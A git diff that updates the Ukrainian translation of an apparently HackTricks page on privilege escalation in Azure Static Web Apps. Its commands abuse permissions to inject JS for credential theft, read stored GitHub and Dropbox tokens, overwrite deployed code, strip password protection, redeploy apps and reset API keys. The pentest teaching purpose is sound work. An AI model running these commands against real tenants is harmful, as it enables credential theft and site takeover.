Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-18 11:55:20 +00:00
parent 4c632f85a3
commit 37eb19a037
@@ -4,7 +4,7 @@
## Azure Static Web Apps
Для отримання додаткової інформації про цю службу перегляньте:
Для отримання додаткової інформації про цей сервіс див.:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,9 +12,9 @@
### Microsoft.Web/staticSites/snippets/write
Можливо завантажити статичну веб-сторінку з довільним HTML-кодом, створивши фрагмент. Це може дозволити зловмиснику впровадити JS-код у веб-додаток і вкрасти чутливу інформацію, таку як облікові дані або мнемонічні ключі (в гаманцях web3).
Можна змусити static web page завантажувати довільний HTML шляхом створення snippet. Це може дозволити attacker інжектити JS всередину web app і викрасти чутливу інформацію, наприклад credentials або mnemonic keys (в web3 wallets).
Наступна команда створює фрагмент, який завжди буде завантажений веб-додатком::
The fllowing command create an snippet that will always be loaded by the web app::
```bash
az rest \
--method PUT \
@@ -31,7 +31,7 @@ az rest \
}
}'
```
### Читання налаштованих облікових даних третьої сторони
### Прочитати налаштовані облікові дані сторонніх сервісів
Як пояснено в розділі App Service:
@@ -39,14 +39,14 @@ az rest \
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Запустивши наступну команду, можна **прочитати облікові дані третьої сторони**, налаштовані в поточному обліковому записі. Зверніть увагу, що якщо, наприклад, деякі облікові дані Github налаштовані в іншому користувачеві, ви не зможете отримати токен з іншого.
Виконавши наступну команду, можна **прочитати облікові дані сторонніх сервісів**, налаштовані в поточному обліковому записі. Зауважте, що, наприклад, якщо деякі Github облікові дані налаштовано для іншого користувача, ви не зможете отримати доступ до token з іншого облікового запису.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Ця команда повертає токени для Github, Bitbucket, Dropbox та OneDrive.
Ця команда повертає tokens для Github, Bitbucket, Dropbox і OneDrive.
Ось кілька прикладів команд для перевірки токенів:
Ось кілька прикладів команд для перевірки tokens:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Перезаписати файл - Перезаписати маршрути, HTML, JS...
### Перезапис файлу - Перезапис маршрутів, HTML, JS...
Можливо **перезаписати файл всередині репозиторію Github**, що містить додаток через Azure, маючи **токен Github**, надіславши запит, подібний до наступного, який вказуватиме шлях до файлу для перезапису, вміст файлу та повідомлення про коміт.
Можна **перезаписати файл всередині Github repo**, який містить додаток, через Azure, маючи **Github token**, відправивши запит такого вигляду, який вкаже шлях до файлу для перезапису, вміст файлу та повідомлення коміту.
Це може бути зловжито зловмисниками, щоб в основному **змінити вміст веб-додатку** для надання шкідливого вмістуикрадення облікових даних, мнемонічних ключів...) або просто **перенаправити певні шляхи** на свої власні сервери, перезаписуючи файл `staticwebapp.config.json`.
Цим можуть зловживати нападники, фактично **змінюючи вміст веб-додатку** щоб подавати шкідливий контент (вкрасти облікові дані, мнемонічні ключі...) або просто **перенаправити певні шляхи** на свої сервери, перезаписавши файл `staticwebapp.config.json`.
> [!WARNING]
> Зверніть увагу, що якщо зловмисник зможе скомпрометувати репозиторій Github будь-яким чином, він також може безпосередньо перезаписати файл з Github.
> Зверніть увагу, що якщо нападнику вдасться якимось чином скомпрометувати Github repo, він також може безпосередньо перезаписати файл через Github.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
@@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
```
### Microsoft.Web/staticSites/config/write
З цією дозволом можливо **змінити пароль**, що захищає статичний веб-додаток, або навіть зняти захист з кожного середовища, надіславши запит, подібний до наступного:
Маючи цей дозвіл, можна **змінити пароль**, який захищає static web app, або навіть зняти захист з усіх середовищ, відправивши запит, як-от наведеного нижче:
```bash
# Change password
az rest --method put \
@@ -133,32 +133,38 @@ az rest --method put \
```
### Microsoft.Web/staticSites/listSecrets/action
Ця дозволяє отримати **токен розгортання API ключа** для статичного додатку:
Дозвіл дає змогу отримати **API key deployment token** для статичного додатка.
За допомогою az rest:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Тоді, щоб **оновити додаток, використовуючи токен**, ви можете виконати наступну команду. Зверніть увагу, що ця команда була отримана, перевіряючи **як працює Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, оскільки це те, що Azure встановив за замовчуванням. Тому зображення та параметри можуть змінитися в майбутньому.
Використання AzCLI:
```bash
az staticwebapp secrets list --name <appname> --resource-group <RG>
```
Отже, щоб **оновити додаток, використовуючи токен**, ви можете виконати наступну команду. Зверніть увагу, що ця команда була витягнута, перевіряючи **як працює Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, оскільки це той, який Azure за замовчуванням налаштував для використання. Тому образ і параметри можуть змінитися в майбутньому.
> [!TIP]
> Щоб розгорнути додаток, ви можете використовувати інструмент **`swa`** з [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) або дотримуватися наступних простих кроків:
> Для деплою додатка ви можете використовувати інструмент **`swa`** з [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) або виконати такі кроки:
1. Завантажте репозиторій [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (або будь-який інший репозиторій, який ви хочете розгорнути) і виконайте `cd react-basic`.
1. Завантажте репо [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (або будь-який інший репозиторій, який ви хочете розгорнути) та виконайте `cd react-basic`.
2. Змініть код, який ви хочете розгорнути
3. Розгорніть його, виконавши (не забудьте змінити `<api-token>`):
3. Розгорніть його, запустивши (пам'ятайте змінити `<api-token>`):
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
> [!WARNING]
> Навіть якщо у вас є токен, ви не зможете розгорнути додаток, якщо **Політика авторизації розгортання** встановлена на **Github**. Для використання токена вам знадобиться дозвіл `Microsoft.Web/staticSites/write`, щоб змінити метод розгортання на використання токена API.
> Навіть якщо у вас є token, ви не зможете розгорнути додаток, якщо **Deployment Authorization Policy** встановлено на **Github**. Щоб використовувати token, вам знадобиться дозвіл `Microsoft.Web/staticSites/write`, щоб змінити метод розгортання та використовувати APi token.
### Microsoft.Web/staticSites/write
З цим дозволом можливо **змінити джерело статичного веб-додатку на інший репозиторій Github**, однак, він не буде автоматично наданий, оскільки це потрібно зробити з допомогою Github Action.
З цим дозволом можна **змінити джерело статичного веб-додатка на інший Github repository**, однак воно не буде автоматично налаштоване, оскільки це має виконуватися через Github Action.
Однак, якщо **Політика авторизації розгортання** встановлена на **Github**, можливо **оновити додаток з нового репозиторію джерела!**.
Однак якщо **Deployment Authotization Policy** встановлено на **Github**, буде можливо **оновити додаток з нового репозиторію!**.
У разі, якщо **Політика авторизації розгортання** не встановлена на Github, ви можете змінити її з тим же дозволом `Microsoft.Web/staticSites/write`.
Якщо **Deployment Authorization Policy** не встановлено на Github, ви можете змінити її, використовуючи той самий дозвіл `Microsoft.Web/staticSites/write`.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -181,7 +187,7 @@ az rest --method PATCH \
}
}'
```
Приклад Github Action для розгортання додатку:
Приклад Github Action для розгортання додатка:
```yaml
name: Azure Static Web Apps CI/CD
@@ -244,16 +250,16 @@ action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
З цією дозволом можливо **скинути API-ключ статичного веб-додатку**, потенційно викликавши DoS-атаки на робочі процеси, які автоматично розгортають додаток.
Цей дозвіл дозволяє **reset the API key of the static web app**, потенційно DoSing робочі процеси, які автоматично розгортають додаток.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action
Ця дозволяє **створити запрошення для користувача** для доступу до захищених шляхів всередині статичного веб-додатку з конкретною наданою роллю.
Цей дозвіл дозволяє **створити запрошення для користувача** для доступу до захищених шляхів всередині static web app з певною роллю.
Увійти можна за адресою, такій як `/.auth/login/github` для github або `/.auth/login/aad` для Entra ID, і користувача можна запросити за допомогою наступної команди:
Логін знаходиться за шляхом, наприклад `/.auth/login/github` для github або `/.auth/login/aad` для Entra ID, і користувача можна запросити за допомогою наступної команди:
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
@@ -264,13 +270,13 @@ az staticwebapp users invite \
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
```
### Pull Requests
### Запити на злиття (Pull Requests)
За замовчуванням Pull Requests з гілки в тому ж репозиторії будуть автоматично компільовані та збирані в середовищі стадії. Це може бути зловжито зловмисником з правами запису в репозиторії, але без можливості обійти захист гілок виробничої гілки (зазвичай `main`), щоб **розгорнути шкідливу версію програми** в URL стадії.
За замовчуванням Pull Requests із гілки в тому ж репозиторії автоматично компілюються й збираються у staging середовищі. Це може бути використано зловмисником, який має права запису в репо, але не може обійти захист гілок production (зазвичай `main`), щоб **розгорнути шкідливу версію додатка** за staging URL.
URL стадії має цей формат: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>`, наприклад: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> Зверніть увагу, що за замовчуванням зовнішні PR не виконуватимуть робочі процеси, якщо вони не об'єднали принаймні 1 PR в репозиторій. Зловмисник може надіслати дійсний PR до репозиторію і **потім надіслати шкідливий PR** до репозиторію, щоб розгорнути шкідливу програму в середовищі стадії. ОДНАК, є несподіваний захист: за замовчуванням Github Action для розгортання в статичному веб-додатку потребує доступу до секрету, що містить токен розгортання (наприклад, `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), навіть якщо розгортання виконується з IDToken. Це означає, що оскільки зовнішній PR не матиме доступу до цього секрету, а зовнішній PR не може змінити робочий процес, щоб помістити тут довільний токен без прийняття PR, **ця атака насправді не спрацює**.
> Зверніть увагу, що за замовчуванням external PRs не запускатимуть workflows, якщо їхній автор не влив принаймні 1 PR у репозиторій. Зловмисник міг би надіслати валідний PR у репо, а потім **відправити шкідливий PR** в репо, щоб розгорнути шкідливий додаток у staging середовищі. ОДНАК, існує несподіваний захист: дефолтний GitHub Action для деплою у static web app потребує доступу до секрету, що містить deployment token (наприклад `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), навіть якщо деплой виконується з IDToken. Це означає, що оскільки external PRs не матимуть доступу до цього секрету і external PR не може змінити Workflow, щоб помістити туди довільний токен без прийняття PR, **ця атака насправді не спрацює**.
{{#include ../../../banners/hacktricks-training.md}}